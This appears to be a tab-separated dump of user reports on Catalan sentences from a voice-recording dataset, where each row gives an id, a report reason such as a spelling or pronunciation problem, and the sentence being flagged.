19855c2476b2573080a6248a7d24200c530907837e0c79366d4687dfd2e91542 ca grammar-or-spelling Hi roman durant tres anys al conjunt gallec, on és titular. 19b5d93203d169cf04a631bfc02c1cd2329b2701c22ab76d0f187080c6309768 ca grammar-or-spelling Altres restes d'aquest període són dues cisternes d'aigua, dues premses de vi i diversos tombes. 19c3963e0dc9ff641b9270218b504e09c59bc58c769f75cbef09c2020a9346df ca grammar-or-spelling Pera anar-lo a cuidar s'enduia aquelles carteres 19f9ee808e0bac107fbabf00ccdc3c72fca64f984bc7fefa736269f1e4bf02af ca grammar-or-spelling També estava dedicada a posar final al colonialisme i promoure la cooperació internacional. 1a7a7e44682de4404f0370212cd75b5d9bfa1aa00949bd6b3e5af872dba91661 ca grammar-or-spelling Al club il·licità és titular les dues temporades que hi milita, ambdues a Segona Divisió. 1a9dcb280946aa34119ae37e0999438db8fac97ca4d22aa1168438a03003f7bf ca grammar-or-spelling Va cessar un any després havent desenvolupat projectes de carreteres a Galícia i Aragó. 1aa55c1ad12defba0264e8a842eb4a5137eceb56ace6335ea4861c4167a09f92 ca grammar-or-spelling Hi pot haver problemes de subsidència i altres. 1b23fccd646cffd591763b004f82d966e249151e93446f35400bf990c4642422 ca grammar-or-spelling Vull anar a Rocafort de Queralt amb trasport públic. 1b38045032baa2a109f5c5a4d443079edfa0dc91bc6910d2a0cbf26451417c36 ca grammar-or-spelling Quina és la millor manera d'anar a Gratallops amb trasport públic? 1b1bb15d95f52cd6e42ac6d5b3b42a849c6d1ca5222df2333d3c9914f8380bda ca grammar-or-spelling L'herbari que va confegir van anar a parar a Berlín i Munic. 1b141468d0a3a0cefcc1b8c5c362e6ad8fe690238262dc757393f38860d6d1d2 ca grammar-or-spelling En hivern habita en Àfrica, Àsia Meridional i Austràlia. 1a890f3db29ee476e0ed8a03157b3de435b65de922093099bf258870117fbbfa ca grammar-or-spelling El govern va respondre amb una proposta de desenvolupar una acadèmia per a les arts escèniques. 1b73204f859bcc533d92f89495c3aecbbea415e23c500095cb681a73e85e9a5e ca grammar-or-spelling Després en Mike McCormick va fer un toc de sacrifici, avançant en Masi a la segona base. 1b1af382862401b9cc0d738ea52d74e363c57b42c055315ba8027e35c08882dc ca difficult-pronounce Ell fou el segon que més voltes va liderar després de Clint Bowyer. 1b83a305dea5d4f117400e05194bc6f17e7df091d000bb2aedd6b7762b8112cd ca difficult-pronounce Les comunitats no constituïdes de Brockway, Sheppard i Vaudreuil es troben a la ciutat. 1b89900e9a9dcf6e2ea1a262535ed8cc3dd9c4d06185f5fd321ac345b432014a ca difficult-pronounce Els nens no eren elloc. 1cf95af62adb036c6676a6a3c03fbd1a995f347379d0d87ae15c0a49da7831df ca grammar-or-spelling La data exacta d'aquest fet no queda registrat a les sagues. 1bb6d566a29f9dbfc3436622da8f670297773f20dbda7d6f5969b0b6d9f85f3e ca grammar-or-spelling Moltes més espècies s'extingeixen, o s'extingiran potencialment, sense que tingui cap reso a l'opinió pública. 1beafdc96afe9171dbdad0090b6fe43455bb297f7267f50fe23c45214c1a1986 ca grammar-or-spelling Finalment l'embarcació va acabar com galera de presoners. 1bdb31260004cdc5905c881ce6f3fbabcae5e739ba5f0d06750cb561cc662d81 ca grammar-or-spelling D'ençà que l'he perduda que faig sempre faig tard. a1697cca5d48ee47689370a9d03cee2029905e567746a77f1a592e2d4249673d ca grammar-or-spelling Va ser educat a l'escola de Bickerdike, Kentish Town, i a University College, Gower Street. 1c1b661cbd15f53546f68dff936bbcb856a038c734a2e2752dc66b2c46c2b80e ca difficult-pronounce Ella va sol·licitar ajudes i va descriure el projecte com "momificador l'aire de l'habitació". 1bb9b2f22123068de4fdfcb40804aec101e442142887ca38dd3f3dad602acef5 ca grammar-or-spelling Transport Canada i la Junta de Seguretat del Transport investiguen l'accident. 1b55a5efe1e27566ba5d157bd4d1f0255f91d814505f6aceb72fcfd48a245d1c ca grammar-or-spelling Gilmer va exercir la advocacia a Charlottesville. 1c3433a28132eb15ca05e197141676b96956f005e4a302679c5e4b4d65395676 ca grammar-or-spelling Els seus millors senzills van posar-se com a núm. del món. 1c417c8674267702ab9d8f7151123421b12d8d11ab09f0637b4341ce97ad6049 ca grammar-or-spelling Era una fira que durava tres dies, amb una concurrència molt nodrida. 1ce22df9ddff84e5e78184134b888ff5b2b0c399b82d0b8223677e0e8fe71f8e ca No puc gravar El signe negatiu indica que el nombre de nucleids pressents disminueix amb cada desintegració. 1d0e15b6f7d01d63fdbaa6e7539398a57256aac1fc393b433403f5748ec8f28d ca grammar-or-spelling En els anys de la postguerra, la propietat del Boca Raton Club i finalment el nom van canviar. 1d0ac444bbd538d49247b5ee3afdb94ce2096c357ad2d719bc5cbf0de07e1d8d ca grammar-or-spelling Abuja va ser escollida perquè no va ser identificat amb cap grup ètnic particular. 1ce4781e7a2ffd40a579904324432f95d868381ae04c2517f911f88ec0adeebe ca grammar-or-spelling Això aplica gran nombre de signes tironians de les que es té coneixement. 1d15969cdd17b36321e431aa7b24fb203936cd98eb8ef33658a5e1371b64fd93 ca grammar-or-spelling Durant el col·lapse de la Unió Soviètica el nacionalisme tàtar experimentat un període de renaixement. 1cf1a9dd3115f0a66387e31373cc9ce4c0f10ccc965ee17ea16f5e748e0d8938 ca grammar-or-spelling Les seus diaris ofereixen informació molt valuosa sobre la gran vall del riu Ohio i les muntanyes Allegheny. 1d35384f20fb7ab573a7d4b3345771bba50db8543af9057fbf43c11c219ac816 ca grammar-or-spelling En general eren de petita grandària i van desaparèixer a la fi de Juràssic. 1d9e08a41fe2e2b44229ab359b529510e7a002d603e1a342d0f35d8c35b0cde3 ca grammar-or-spelling La floració té lloc entre els mesos juliol i octubre. 1d8fbea69f7b6d09ab7f9427a7e148de9d1e0c1f255b2cbf34a584bb03874a84 ca grammar-or-spelling Quan es percep dolor, la persona l'associa amb el castic. 1d97bbb410491711b9f7bfa59794ac71cfe36c19b357336a2e1fa8b4351e5707 ca grammar-or-spelling És a l'est de McAlester, Oklahoma, i al sud, sud-oest de Sallisaw. 1da87c533242ad7bcfaa57842d13ea1e2e8c89f233dc1dcd94430de2bb03c0d3 ca difficult-pronounce Em dic Sebastian Rossello: erra, o, essa, essa, e, ela, ela, o. 1dca76139c0e385319a8efb1af9a8c72d9349bc46e5bc79470ae07d04a452ee2 ca grammar-or-spelling La secció juvenil del partit són el Joves Radicals de l'Esquerra. 1dbdcd575901e2d1b7ad60da44405dfe04e617eb81cf6fc7c13f60b3d2479d7f ca grammar-or-spelling La palanca del canvi de marxes estava muntada horitzontalment just per sota de volant. 1e296c2445c5de9434a257df40bdf6d2d65ee84fe8c97219c41daf1eafd0084f ca grammar-or-spelling Un petit nombre d"unitats capturades va entrar també al servei alemany. 1e2b6d2325650dc83a468fc78ac01a5a1482122b4d3c4fa7c6b795e087dcc5d8 ca grammar-or-spelling Diversos joves caminant per les de vies del tren. 1e33053309e1318caa339f013353819f4b6c6e32ccbf69f74d9de3de7d5431fb ca grammar-or-spelling Aquest conjunt, obra d'un mateix moment, destaquen altres figures inacabades d'animals. 1e6e818188e22e263070914091ed3b26b44f6f0cf2baea1401020e3fb48393df ca grammar-or-spelling demà passat hauria d'anar a Ivars d'Urgell. 1e65b2a0e042e1fbfdc672e6940c4dfd9212e0422a0664818bb54b339fe8bd44 ca grammar-or-spelling A més el, va oferir concerts i va enregistrar a Europa. 1e69cf83cbf3c946c57779e78a05b2d87180f5b3598f69528148f7b7be675812 ca grammar-or-spelling Col·loquialment s'el coneix al llenguatge natiu d'Austràlia com "Mini Guineueta". 1e77ebe762bd167b9e0d190d97ff93ed307f3e658989f4f87b4a6d4bc7a481e4 ca grammar-or-spelling Però, es va aprofitar d'uns blocs que apareixia en els caràcters bàsics de la computadora. 1e6760577f09c0fc1020203f64beef1e2f2cd768fcb2664a5cf590d9a5b2d4d8 ca grammar-or-spelling Tallar era només una part el procés. 1e86de945ed0f3a0a9bb29d7a68f02655531e0fd7a3b35c081d9d3bb69afe6bf ca grammar-or-spelling No obstant això, les dades químiques i espectroscòpics van demostrar que l'estructura era incorrecta. 1ea24fbee6186028b221a40152bce1572aa90c1ec015dc42f84db6bd7407bba1 ca grammar-or-spelling Agafar un llibre per llegir-lo. 1e9098e8141530c0396b222b69ebc735a2ceea2ff976e4b13c23ca6f04e2cda8 ca Cap Hi ha tant de mal que no el sento bé. 1e92adcc519a6878f19344befd853b280a69cef42f5339370667d1c290e0a94b ca Cap Signa l'acta d'acusació i l'espia s'allunya. 1e655df6a7dd9eaed20d2ff51d1fde72c8af35e25fb69fea21aa50aa36641243 ca Cap Per exemple, els restaurants Logan's de Detroit tenen murals amb gent que porta camises dels Detroit Pistons. 1eba75ca427449b610d4af05396c1eba31b909800864d2e12d2d7aca8750e3c6 ca Cap El compara amb l'obra d'Antoni Tàpies i les atmosferes de Francis Bacon. 1ec2da6a5c298a44e6d3e675a193a516c6cd51252d679bf773352d53d98b9314 ca Cap Dilluns anirem a la Granja de Rocamora amb tren. 1e779c1b723d7028c8267628c196b547d40250411152a831c6bb62cb608da91a ca Cap Va jugar en el futbol brasiler i mexicà. 1ebaa0f8c33de316efbac0359e7518f119476e6011a95bada83d9d8ecfde8dbf ca grammar-or-spelling Menys desgast té lloc dins la goma va ratllar molins. 1eb239ab4079d9212427e8f75a879f1e24edbc96f489b2ea9041e472726d2fe5 ca grammar-or-spelling La Universitat germana de la universitat és la Universitat de Reedley, ubicada a Reedley, California. 1ebc9783f687cd9a31398be469c972793b3881b60c3b4d73e5ee95fc6dd66d69 ca grammar-or-spelling Cada vegada és més astut i conspirador, i més propensos a ficar-se en problemes. 1ee8f93b9eda4663f43d774b3079c78a54869fd9c32dd447cf79909aba8b4530 ca grammar-or-spelling Maryland. 1f09f6c577398e7fbc97c18c6ee3fdbbc49044c55db2fd77fa2baf7119598bc9 ca grammar-or-spelling Maryland. 1f09f6c577398e7fbc97c18c6ee3fdbbc49044c55db2fd77fa2baf7119598bc9 ca different-language Jim va tornar a ficar el seu anyell a la butxaca i va posposar el compromís. 1ed8b3bdb82fb1f994bd35dd50a42929fbe56aa579cfb310e79184870d3bd26b ca grammar-or-spelling Que el restar i el dividir, ja es un adorno i un luxe. 1f742bea11cf67dedce8f2a804e33138600cd6bf30d30dccacd6854bc265f3f8 ca grammar-or-spelling El forment els nuclis de població de Serra, Portaceli i Torre de Portaceli. 1fb86e75697f896a69eba88fb289963318bfe6e039543800be90e8d351b41e60 ca grammar-or-spelling A més de molts de seguidors, tenia molts enemics i crítics. 1fd6882d10ce192ebc77353a54a2757c539772b4e8cbe2103c6ef99c9559a4dd ca grammar-or-spelling Tant en tercer com el quart baró van ser Lord cancellers d'Irlanda. 20931de8cc8d9eb00e527a268da1d0aefa5e2b2a57f1c5f500a3159367ae6641 ca grammar-or-spelling Una dona amb el cabells verds fa rodar els hula-hoops davant d'una multitud. 208289e78bd29d80eaa085a8cc645bfd1976ed59d8c04ac358d49302078b14f5 ca grammar-or-spelling La caseïna en medi aquós pot precipitat per canvis en la polaritat del dissolvent. 20a7002ab5685083ed57186ec9535a899170ecf2554aee5a70007d8e3324c639 ca grammar-or-spelling Conjunt format peu un mas i una capella unida a un dels seus costats. 20a8aa35666990828cc1da75f3c59164104312a60de9500f70e1aa60cbb5d850 ca grammar-or-spelling Va ser en Cameron qui va anunciar la invasió del Dia D de Normandia als orients canadencs. 20b3a99a8d14ce1be3d68e2bd6f599dccc12e2c17d2589ad7159b014a16c546f ca grammar-or-spelling Quin és el camí més curt per anar a la jardins d'Elvira Farreras Valentí número trenta-vuit? 20921205b8ff00f029e85417142e4204a140ad6fa8cbf16c873ca428fe21dd18 ca grammar-or-spelling Va ser batejar, l'endemà del seu naixement, a l’església de Sant Domènec. 2183d1b4c247ec9d0ddd69aa282219154e69017940f7f6bf4cfc6765bcca3618 ca grammar-or-spelling La campanya va començar amb un l'arribada sense oponents a Staten Island a principis de juliol. 21add5dca2f3a84341338a1f5968890167bfc0490ee1976f01b757f583002735 ca grammar-or-spelling No va poder reconèixer un funeral d"un cotxe. 21dffb8a85d2ba4d0cfd255a0f6f6f95638ae00f656867dbf4806d103bcb65b9 ca grammar-or-spelling A quina hora passa el primer autobús per Riba-roja de Túria divendres? 220f55f3111aa857f5d231ea7195693eb5a8c308cf178a2b3dab5875000465de ca grammar-or-spelling En alguns idiomes, el personatges Calvin i Hobbes tenien noms diferents. 21df71c320884d30b8aa4b8813ec2f1279e1c1d5491b4f5c88da2ef5e50fad2e ca grammar-or-spelling Té aquest.? 221006feab04f44ae622cc3b1910a58bb1015833fd8b3f32daa8e7b7a852e412 ca grammar-or-spelling El seu pare, Gabriel Badia, pare era un teixidor de cotó. 22b6182fcb769bf7547aad44ac8072d266bf06bcf389633920e5c619dd9b8d9e ca grammar-or-spelling Les obres de Megged es van representar a Habima, Ha-Ohel i altres teatres. 22e2efc5fb8b4677049258f47cc3aff5a39586721269f86bb701b0ba3a111394 ca difficult-pronounce Les soques no patògenes també estan present en ecologies d'aigua. 22c9441ea48535281e76a5072a37eac244ea89cf513d9f58e6d5b53f7d530f18 ca grammar-or-spelling Els espais entre els dits del lèmurs voladors estan units per una membrana. 22ccb9124a5e8a56f908601396d7a6f03f688339b270c8aa379830aef310fc28 ca grammar-or-spelling En l'abdomen, és de color blan o té punts negres. 22eb67cdf2bb8c4c9517bae316c5fd483bc6b8d134e338127ee96d511516a9a9 ca grammar-or-spelling La sèrie web "The Sam Plenty Cavalcade of Action Show Plus Singing!". 22d4087ef5650a90886d656ad66b2f8f1ac8e32509c5e388da838f0191de7207 ca different-language Treballo a l’Ajuntament. 22cd5756e4a5882149493381d42dd6be54abca628c09ca47f789e514818beb05 ca grammar-or-spelling A les monedes apareix el nom del poble com a Maerlebi o Maerleber. 22f2098cb4eee2a920f9a981d8d2dd7705acccdb3abad2489882ff32f67a5f68 ca difficult-pronounce Lluís Mestre i Rexach va ser un periodista i director de Radio Tortosa nascut a Olost. 22f7ad32f4505afe513af3121412bab3e094f42887b230800445721d9e54814a ca grammar-or-spelling Primera part", "El setge de Starro! 22e96f6fd657427f3405b17800181353fc9d878f602bccae18cc4c0fc342d04f ca grammar-or-spelling Si van localitzar perforadors geomètrics i denticulats, gratadors, lamines, ascles retocades i alguns elements més. 22ee727b7bce365605c701f95232b0dc6cd897511589899d565fd00ca0c3dc50 ca grammar-or-spelling Afegeix a l'agenda el número de la Fàtima zahra Rosende: sis, setanta-set, quaranta, vint-i-nou, zero, vuit. 22d91efe067aa12cb5e63fcff9dccebb2bc12d645b137960bd62813202195882 ca grammar-or-spelling Els usen a alimentar animals: blat de moro, soia, i altres cultius. 236520c9d5e37512e5ccd2531e3f1232c0c98c9c67f3c13778089b3eb4d8ce2d ca grammar-or-spelling L"aeroport de Kang dóna servei a Kang. 2313bb34f7d47ed42e9b183b66bb70da65233fe74a087affcf3c05ff7555f331 ca grammar-or-spelling Solomon descriu la indignació com un medi pel qual l"home s"aferra a la seva autoestima. 22bc8f29fded3354b9689fb65ea283611c20ebaaa58cc3295c018ca3c160fb48 ca grammar-or-spelling També es distingí coma director d'orquestra i organitzà concerts regulars. 2339a3b556fc4d17e01b7fb068711a4a9d04f689ab3e47f24526cd4c2b4c8528 ca grammar-or-spelling No hi res més destacable a la badia. 2368a2bca36870d7c49fcb1710e56c91b5026573ffc73c4d5cadf167013d37f5 ca grammar-or-spelling Hi havia una personalitat més forta que la seva a la feina a l'habitació. 22f0cf5ee90745bacccbaa6b28eb76eab37d21c1bb0a91abccbe6b7b61845018 ca grammar-or-spelling Escriu el blog Oh! 236f0b42173484023878ffac8dd6c43d9426d780e99207445ad3ea3a1606c240 ca grammar-or-spelling A més no va ser capaç d'adaptar-se estil de vida italià. 236a26a744db57b3f2c56add3b98bea16938ef0688fdade20fa900a053ba2d1e ca grammar-or-spelling En una revisió retrospectiva, Michael Sutton d"AllMusic va donar quatre estrelles a l"àlbum. 236945db3abb3111b1071de60e544584ee7873ad774c750d5497360bfda1449a ca grammar-or-spelling Podia mirar la gent am tota la tranquil·litat 239101d068edc02f423444289e17c2992a59fe49c079561230254336d2899208 ca grammar-or-spelling Des d"allà, es veu com la carretera entra a la pradera de Knight. 23455e59aaccb4b749640f55a24da46d6ffdf3f4d70e56f6bafe5330e84e8937 ca grammar-or-spelling Es desconeix la seua ubicació exacta. 234b614949a404668f596a270a7e556bf9fb4f3a1b0e9c493311abdacb98afc4 ca grammar-or-spelling Ha escrit per a la serie Aftermath de Devil's Due Publishing, inclòs "Blade of Kumori". 23fc56575de1c02ec9802ec0622e82b4bd9d93480c44bc13e17934d4e7897896 ca grammar-or-spelling Però Hortensi va continuar amb la seva política d'abusos. 250fada2a81c2acaa6f8c801498e04353f291efdf98a459f01a8190228c9b3c6 ca No s'escolta res Malgrat les diverses advertències, la distància de seguretat és un motiu freqüent d"accidents. 25b33edfa59c3b0c24c21c206ed37c2a0d118d159587c2e07211897abcf5bbf6 ca grammar-or-spelling Va morir d'una angina de pita casa seva a Manhattan. 2661d148c46e7874cd85b66cd9751e449092ed556b191c68008aef6a897849be ca grammar-or-spelling Ella era reconegut popularment com l"autoritat líder del gènere "Eucalyptus". 26a8104d031b5d3aba497e072162e4688a0bbc1d03248d682e5ffde02433a83e ca grammar-or-spelling El seu hàbitat natural són les montanes i plantacions humides tropicals i subtropicals. 26b587d786d7776c1029b4bddb3168f12cfaa9aee375baafcb0ac51f1abef056 ca grammar-or-spelling La sema mirada o el seu al·lè podia convertir a la gent en pedra o matar-los. 26e7ae1d3a8dd2715b4f77e0165b028cae51bf36904cbef4b3ba2fa457e52f37 ca grammar-or-spelling També el seu nom és a inscrit a la Torre Eiffel. 274dcf31402cb41f71490bd45266e86856c3f9ce4fe20ef8644df80f7d70b4d9 ca grammar-or-spelling Lady Pamela Hicks és una aristòcrata britànica nascuda a Barcelona nascuda a Barcelona. 2788e4156226e48aba89e76f899fe1d7b50518493e479b2df769535ff9c4ddba ca grammar-or-spelling Hi va haver un forcejament entre una facció d"aliens bons i aliens dimoni. 2724cf6e61fdc4599312bfbee4356695f444509fb97b04ff8a10418fafeb7ebb ca grammar-or-spelling Alguns carregadors fan això després del cicle de carga, per compensar l"auto-descàrrega natural. 27794f2dbf5f92259114ba6518312b5d2ffd2cfefbd06e2c58fd28f49070059e ca grammar-or-spelling L'únic que va quedar dempeus va ser el pilaret. 27fa20d5000fb7f7fe2458753bc5012d8234676e627fe11f73420f77024f093d ca Al revista els àudios se sent molt malament. Ela altres àudios(fora de la app) no Demà na Queralt irà d'excursió. 013d69159d0f4cf38a0687fecfe9ab52dccd96fe59b4c23efdfb19643af24d8b ca grammar-or-spelling Dimarts en Josep i na Berta iran a Santa Llogaia d'Àlguema. 0063a3fbc191fc9aa891f1ba703309814a050b002dcab27baed8ac403c2c3012 ca grammar-or-spelling El vint-i-nou de febrer en Quintí i en Marc iran al cinema. 00576efd92a5e02858f7bd13e43c5a1a22a121d6ee2450a0c1791bf9a2ea873f ca grammar-or-spelling Dilluns na Gemma i n'Hug iran a Marganell. 00afba6b1c3dd173bd7edc4420f474fde5bdaa783bd71d89305883ae28a784f4 ca grammar-or-spelling Dimarts mons pares van a Sogorb. 007c429f92b30afd0f308c49aa743d16a309b1addd214d7e3716709267e4e92d ca different-language El vint-i-tres de maig en Quirze irà a la platja. 020605a2b6f6f499e4541690f8ae5c866b09bbfd8efa4d0e9e5660054012624f ca grammar-or-spelling Dimecres en Pol irà d'excursió. 01b0f9ff6f999d2e16a0bc694f31ae4cd8c877576af0061a8e56a0b592cc69a2 ca grammar-or-spelling Dimecres en Ton i en Quel iran a la Llacuna. 0076e4cbffa1d3b0167e46858a0df1cebdd0720976faeb1cd5fd0721423f4953 ca different-language El deu d'agost en Pere i na Carlota aniran a Aldaia. 0085e27ab05158aefe2874d39e1271a5c8c8f4c43a8cd86d28289d9073868a3b ca Avui les frases s'han d'enviar d'una en una, per comptes de cinc en cinc, tot i que la pantalla inicial encara fa referència a cinc Perquè quina teoria lingüística és avui la dominant? 0225d5f054c7ba5755056ffeca4be2710e8004b7e6ab58e32adc3d96cff92296 ca grammar-or-spelling Cinquanta-u impressionat tant la semblança. 03314946c50ddb7d0b82714bb55e6e55a83e6a98e561c8c0515829763c319424 ca grammar-or-spelling El meu marrit l'esperra dalt. 03941589d4f9171264be99fd3379dae4cc3e6c9c674a0e0840540cdab7bb7a62 ca grammar-or-spelling El deu d'agost en Garbí i na Fiona iran a Benissoda. 034c836d6bd6542dd0f3f7af857b453889dc0a37fd12448328b536afeaca7b2b ca grammar-or-spelling Demà passat na Sibil·la i en Llop iran a Sant Climent de Llobregat. 0438afed7364b5830111f581789b93ff03e0136dacabd88b11389bfa7d7ed1f7 ca grammar-or-spelling Dimarts na Xènia i en Nil voldria anar al teatre. 053f8b57bfd6c770e9e4e07ebd89536333f2999eff392c8cb73a82cd724b838b ca grammar-or-spelling Demà passat na Nàdia i na Martina iran a visitar mon oncle. 0644ebd4ca4405933f4b7c319fe565d7f2c8fa1f4c4024c0d74d4b996f92aa51 ca different-language Diumenge na Tanit i en Nel iran al metge. 04dc847eebee5c8920b9672bd19ffdce6010c40fc4d4e34ac640aa419cc250ef ca different-language Reuneix tots els elements necessaris per atreure llegendes, sospites i tu-investiga-hos a dojo. 070dd12eb3ffa2e63a69d312dd408206dbdb85bcfe9ef3fb1a3984b1d639e94e ca grammar-or-spelling Demà na Damià i na Dolça aniran a la Galera. 067093fb6dc8b5d4c667115789dc74168a556bfdd5c4d41098a75ddda4f70d00 ca grammar-or-spelling El vint-i-nou de febrer na Vera i en Gerai voldria anar d'excursió. 072ffa27858b1122c2335823ddee0a9cb897d4136cc1cb7d10b9163d339da1d0 ca grammar-or-spelling El vint-i-tres de maig en Sam i na Gina iran a Montanejos. 079f1eab1c42167b0d804fe3c957569e1b3dfe2b582075db8c98b22f735d8061 ca different-language El deu d'agost en Julià irà al teatre. 0783a3ca0ba28ce9cd9de0325fdde9ad395011705233b5a06581cb6b8803ee8f ca different-language Divendres en Maria anirà a Vilajuïga. 075ac0d5721a9f91981720b48fd55c547e52515df56b7381f09e65a778605701 ca grammar-or-spelling Dijous na Damià i en Juli van a la Vilavella. 06eb097a3a6175016ee20b6391db9416b5fd1ca74fed2388f38f5e1f92e00de4 ca grammar-or-spelling Divendres en Maria anirà a Vilajuïga. 075ac0d5721a9f91981720b48fd55c547e52515df56b7381f09e65a778605701 ca grammar-or-spelling El deu d'agost en Maria i en Biel van a Llorenç del Penedès. 0744f63f5d42fdfc4d60b194fac04ebbea08868314a14b6abc76f1c3ec014bf5 ca grammar-or-spelling Per Cap d'Any en Gaël irà a Manuel. 0579fd29231b99c44073ee14b85a5a34158516eea069fdbf629247ffe431820c ca grammar-or-spelling Demà na Queralt i na Neus iran a Sant Feliu de Pallerols. 088aff40efc5188f7c704cc6479dd476946691b343b0cd5a97c301b4ae67404c ca grammar-or-spelling Demà passat na Frida i na Lea iran a visitar mon oncle. 08b451b6c518b216b1faa8f8f5a4e5100cc43174c691336f62ea6f2eb9b128e7 ca grammar-or-spelling El vint-i-tres de maig na Noa i en Ton iran a Arenys de Mar. 080840a15ccf50cc4c4a079a3b9e0c6e7b9da1e12120b341b2dfffd9a7d1fd7f ca grammar-or-spelling El vint-i-nou de febrer en Lluc i en Xavi iran d'excursió. 0836454bdaaff59a23fca5beefbd1f25549f026a461211e480a938a78bd990a4 ca grammar-or-spelling Per Sant Jordi en Guifré i en David iran a Sant Carles de la Ràpita. 089f48228f8cff808dc01af55922df0aa1a6f3973da8e9d8900a6f77062c58b5 ca grammar-or-spelling Demà passat en Milos i en Quirze iran a Olesa de Bonesvalls. 08c8d5de332476d267b9d52fc85ffaa9ab03ebff38b5f84ea2258053d68d9048 ca grammar-or-spelling El vint-i-nou de febrer na Dolça i en Marc iran a visitar mon oncle. 0839da8f075d0836827388f3f76ab9a78960600bb30867caa87a8efe6bc0fe4b ca grammar-or-spelling Per Cap d'Any en Maria irà d'excursió. 09eca31813e836eba792750337f21630fcea709877ea61f85e2db653e8593965 ca grammar-or-spelling El vint-i-tres de maig na Damià anirà a Riudarenes. 09fa02ed356314d3f90e125429807d4100203c7388efaa9801e0771202853ee6 ca grammar-or-spelling Diumenge en Quel i na Dúnia iran a la Mata. 0a204d6c53a51cce91e6acc36fa228a1acb0ad577e098d99fda85c256f9318e4 ca grammar-or-spelling Demà passat en Quer i en Pere iran a la biblioteca. 093d7ed31ef21ce1c89cd2296969d529ba063dc0b7d031a74a6213fc729980eb ca grammar-or-spelling El vint-i-nou de febrer na Txell irà a la platja. 0b2be913d747e0567db5f635f7d006e32966dc39cd925a8a6b63c5267d55372a ca grammar-or-spelling Dilluns mon pare irà a Daia Vella. 0bb46ca0250aead1bb30ec45da0657358684035f82c885b0651fab2e493066ac ca grammar-or-spelling Dilluns mon pare irà a Daia Vella. 0bb46ca0250aead1bb30ec45da0657358684035f82c885b0651fab2e493066ac ca different-language Per Cap d'Any na Clara i en Cesc iran a Otos. 0b1bf7dd5e7d534c775a23ece0cc86d5410fa40a51bcb8c2fd63fd1f8a63e770 ca different-language Demà passat en Roc i na Thaís volen anar a Barberà del Vallès. 0b5db5df2813a4671b49aa39a4cd14edf05323ed0655e3d517b1ce9367212d91 ca grammar-or-spelling Demà n'Hug i en Jordi iran a visitar mon oncle. 0c7aeae8705572b86e16a77bc061ff50fa763c7eb062eda25f5b04dca9b91020 ca no és la primera vegada que em trobo "irán" en comptes de "aniran". Irán és del verb Ir en castellà, no en català Per Sant Jordi en Quim i na Zoè iran a Gilet. 0b76898b8aadbd5175c286f0186a5ff410a117fd51e677ae0dd7cb15dcf1a992 ca el mateix, Iran no és correcte Per Sant Jordi na Lola irà a visitar mon oncle. 0c7b75aaeb3ca886c8b867c8b9dcf42b86a88c2486b3d38bfbd1bc1e82d23ab1 ca grammar-or-spelling El deu d'agost na Fiona i na Sança iran a Montuïri. 0c6c3b5b2cab855e0f4fc4d3ec8751d12b4355d6e5d972e5007a6c993433872e ca iran no és correcte en català Dilluns na Nara i en Gerard iran a Saix. 0b35d68aa4a410acb0358d7b6fa41e64862662ead5d43c4ede84afed68a39b7d ca iran no és correcte en català El nou d'octubre en Pep irà d'excursió. 0bf5e034ed55975723ad557316d8eaf8ecb3a35ae9f130e0e7361c1ed49efbba ca iran no és correcte en català El vint-i-tres de maig en Guillem irà a Albatera. 0bf75fb3dfcbe3b7c15a10036e60b750413712c4761e6289de21e9bf5ef10c45 ca iran no és correcte en català L'oncle va al davant, adelerat. 0d56d10c159b84da72c965273882ffa0e0716a753f32257975734e196e764575 ca grammar-or-spelling Per Cap d'Any en Josep i en Sergi iran a Palau-sator. 0e86c359239c711175f268d61d532c9dab6dcd76bb7b2fdb5a06d80efa370e74 ca iran no és correcte Dimarts na Paula i na Carlota iran a Gàtova. 11a98526e9d99cece075ce9e7d9c6dcd8258ffb232dade8666c1c59d6db59e36 ca grammar-or-spelling Per Cap d'Any en Mateu i na Rita iran al metge. 1170d6f189083960a2ea1825c78a5dcd019bc6592f61299076b4736893049b21 ca grammar-or-spelling El deu d'agost en Tom i na Lola iran a Massanassa. 119b6709a1f2b05a909b00718c1113c194bc83af7ad065ed3f21d3e305aa4186 ca grammar-or-spelling Per Cap d'Any na Bet irà d'excursió. 0f64a16a786d11f58b0e02015f0db3b5d1c65a54524892191f4603217b16664f ca grammar-or-spelling Per Sant Jordi n'Oriol irà a visitar mon oncle. 119a9aaf0182d5030e3bf7657f4e1986a53539481d96804211521c6fe6078da3 ca grammar-or-spelling Dissabte en Maria anirà a Benavent de Segrià. 11693a32305929e122e6cf620930a912673444d893b0d800d14e6f17b156cd14 ca grammar-or-spelling Dimarts na Xènia i en Nil aniré al cinema. 110281f948b3713efdea820c69949ba8e395ff8f0855a1efe54254f0494314c6 ca grammar-or-spelling El vint-i-nou de febrer en Maria i na Cel aniran a Espinelves. 12862242edfdf40e873e8dbbfba9be167da2dcde24c5e15d69291bb933477e79 ca grammar-or-spelling Dissabte en Maria anirà a Benavent de Segrià. 11693a32305929e122e6cf620930a912673444d893b0d800d14e6f17b156cd14 ca grammar-or-spelling Dijous na Queralt i n'Eulàlia iran a Loriguilla. 14ba6a97dbddcf06c67a8dfa0d45d708df3ed996705dde09d03017655f450eeb ca grammar-or-spelling Dissabte na Tura irà a Prades. 152360d75026c88b09f3071bcfde6fd6a5b269bdf92a67c7b469b768cac44e01 ca grammar-or-spelling Dissabte en Joel i en Guillem iran a Cornellà de Llobregat. 1426a72c496e32daf64ee351c712d36aa24c191b99a59a7192b76c5d77096332 ca grammar-or-spelling Dijous en David i na Xènia aniran d'excursió. 165cf89f5835dd63add8c4383bd86c45a976e1f818ae3070bbb15e06c8d6b602 ca No ho entenc Diumenge en Blai i en Genís iran a Benaixeve. 15f5f3ae3590cb22627c5d5462e902076b4978a561635a9f717bfd722d31de2a ca grammar-or-spelling Dimarts en Dan irà a Les. 165e2264f2de323ba3e5ef52787020eeafdeeb74395ed318f4690967ef294e52 ca different-language Dijous en Maria irà a Corbera. 16c6b1b2319c8d51d2f7972273e55adc2e628a140d41bb2613eb270d1e37bc1b ca grammar-or-spelling Costa Brava catalana—, el Blanes de Hoonoka'a. 16c50dd92199cc199e893a7f2d055e4c78e9d9474e5fcf2e996bb933266c9760 ca difficult-pronounce El nou d'octubre en Guim irà a Miralcamp. 13e4dce360a40781e334042068f1c8a352c70f75978c4fe4ea3341cb69b350b5 ca grammar-or-spelling El deu d'agost en Roc i en Garbí iran a visitar mon oncle. 15c967ae0c04936d59e17c58cb907682af65960e32183a76c4c11de93cdce0d3 ca grammar-or-spelling És la primera vegada que passa per una interrogatori d'aquesta mena. 17093755cb242f01f5c1e7d248a7c7de11a142c9c71c6e528765ca5db49e4938 ca 